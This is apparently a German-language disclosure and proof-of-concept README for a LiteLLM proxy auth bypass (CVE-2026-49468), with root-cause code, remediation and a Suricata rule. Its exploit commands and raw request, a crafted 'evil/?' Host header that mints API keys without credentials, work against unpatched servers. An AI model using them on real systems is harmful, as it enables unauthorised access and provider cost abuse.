CVE-2026-49468 — LiteLLM Unauthenticated Auth Bypass via Host-Header-Route-Verwirrung

Pre-Authentifizierungs-Authentifizierungs-/Autorisierungs-Bypass im LiteLLM-Proxy (BerriAI). Ein einzelner manipulierter Host-Header veranlasst den Proxy, seine Auth-Entscheidung gegen eine öffentliche Health-Route zu werten, während FastAPI weiterhin den geschützten Management-Handler ausführt — und die Anfrage ohne API-Schlüssel bedient.

Der gesamte Exploit besteht aus einem Header: Host: evil/?

Ursache

litellm/proxy/auth/auth_utils.py::get_request_route() leitet die Route, die für jede Auth-Entscheidung verwendet wird, aus request.url.path ab. Starlette baut diese URL-Zeichenfolge aus dem clientgesteuerten Host-Header neu auf:

# starlette/datastructures.py  (URL.__init__ from scope)
url = f"{scheme}://{host_header}{path}"      # host_header = attacker Host
...
@property
def path(self): return urlsplit(self._url).path

FastAPI-Routing dispatched auf dem rohen ASGI-Pfad request.scope["path"]. Das Einfügen eines ? in den Host-Header verschiebt den tatsächlichen Anforderungspfad in die Query-Komponente der URL, sodass der rekonstruierte url.path auf / verkürzt wird:

real request path (scope, FastAPI routes here) : /key/generate
Host header                                     : evil/?
reconstructed URL                               : http://evil/?/key/generate
urlsplit(...).path                              : /          <-- auth sees this

/ ist in LiteLLMRoutes.public_routes enthalten, und beide Auth-Gates führen bei öffentlichen Routen mit diesem manipulierten Wert einen Kurzschluss durch:

# user_api_key_auth.py — authentication builder
if route in public_routes:                        # route == "/"
    return UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY)   # no API key required

# user_api_key_auth.py — authorization wrapper
if route in public_routes:                        # route == "/"
    return                                        # skips common_checks / admin-route enforcement

Fix (1.84.0): get_request_route() liest jetzt direkt request.scope["path"] / scope["root_path"], ohne Rekonstruktion aus dem Host-Header.

Auswirkungen

Erreichbar ohne Authentifizierung (als INTERNAL_USER_VIEW_ONLY bedient):

• POST /key/generate → einen gültigen virtuellen API-Schlüssel erstellen. Der Schlüssel funktioniert als normale Authentifizierung ohne Bypass-Header → dauerhafter authentifizierter Zugang und Kostenmissbrauch des Anbieters.
• POST /user/new → Benutzer erstellen.
• POST /chat/completions (+ /v1/models, /model/info) → nicht authentifizierte Inferenz gegen die konfigurierten LLM-Anbieter des Proxys.
• GET /spend/logs, /settings, /get/config/callbacks → Offenlegung von Konfiguration/Telemetrie.

Endpunkte, die durch eine inline PROXY_ADMIN-Prüfung geschützt sind, bleiben blockiert (/config/update, /model/new, /user/list, /key/list, Rollenerhöhung, MCP direct-create), daher führt dieser Bypass auf v1.83.14 nicht zu vollständigem Proxy-Admin oder RCE — siehe ANALYSIS.md.

Reproduktion

# 1. bring up a vulnerable + patched lab (auth enabled with a master key)
cd lab && docker compose up -d && cd ..

# 2. confirm the bypass
python3 exploit.py -u http://127.0.0.1:4000 check
#   [*] GET /user/list  no-bypass Host  -> 401
#   [*] GET /user/list  Host: evil/?    -> 403
#   [+] VULNERABLE: authentication bypassed (baseline 401, bypass reached the handler: 403).

# 3. mint an API key with no credentials
python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo
#   [+] Minted virtual API key (unauthenticated): sk-....

# 4. unauthenticated inference / enumeration
python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi"
python3 exploit.py -u http://127.0.0.1:4000 dump

# patched build (v1.84.0 on :4001) rejects the same requests with 401
python3 exploit.py -u http://127.0.0.1:4001 check

exploit.py verwendet nur die Standardbibliothek (http.client) und setzt den Host-Header direkt auf Drahtebene. Aktionen: check, mint-key, user, chat, dump, raw METHOD PATH.

Rohe Anfrage

POST /key/generate HTTP/1.1
Host: evil/?
Content-Type: application/json
Content-Length: 2

{}

HTTP/1.1 200 OK

{"key":"sk-...", ...}

Siehe EVIDENCE.txt für die vollständige Basis-/Bypass-Matrix, das adversariale Diskriminant (evil → 401, evil/foo → 401, evil/? → 200) und die gepatchte Grenze.

Abhilfe

• Führen Sie ein Upgrade auf LiteLLM 1.84.0 oder höher durch.
• Workaround, wenn Sie kein Upgrade durchführen können: Setzen Sie den Proxy hinter einen Reverse-Proxy, der eine strenge Host-Validierung durchsetzt (Host-Werte mit /, ?, # ablehnen), und legen Sie einen master_key fest.

Erkennung

Der Bypass ist ein syntaktisch ungültiger Host-Header. Beispiel-Suricata-Regel:

alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
  flow:to_server,established; http.host; pcre:"/[\/?#]/";
  classtype:web-application-attack; sid:2026049468; rev:1;)

Auf der Log-Seite: Jede Anfrage, deren Host-Header /, ? oder # enthält und einen LiteLLM-Proxy erreicht.

Danksagungen

Caio Fabrício (BiiTts).

Nur für autorisierte Sicherheitsforschung und Tests.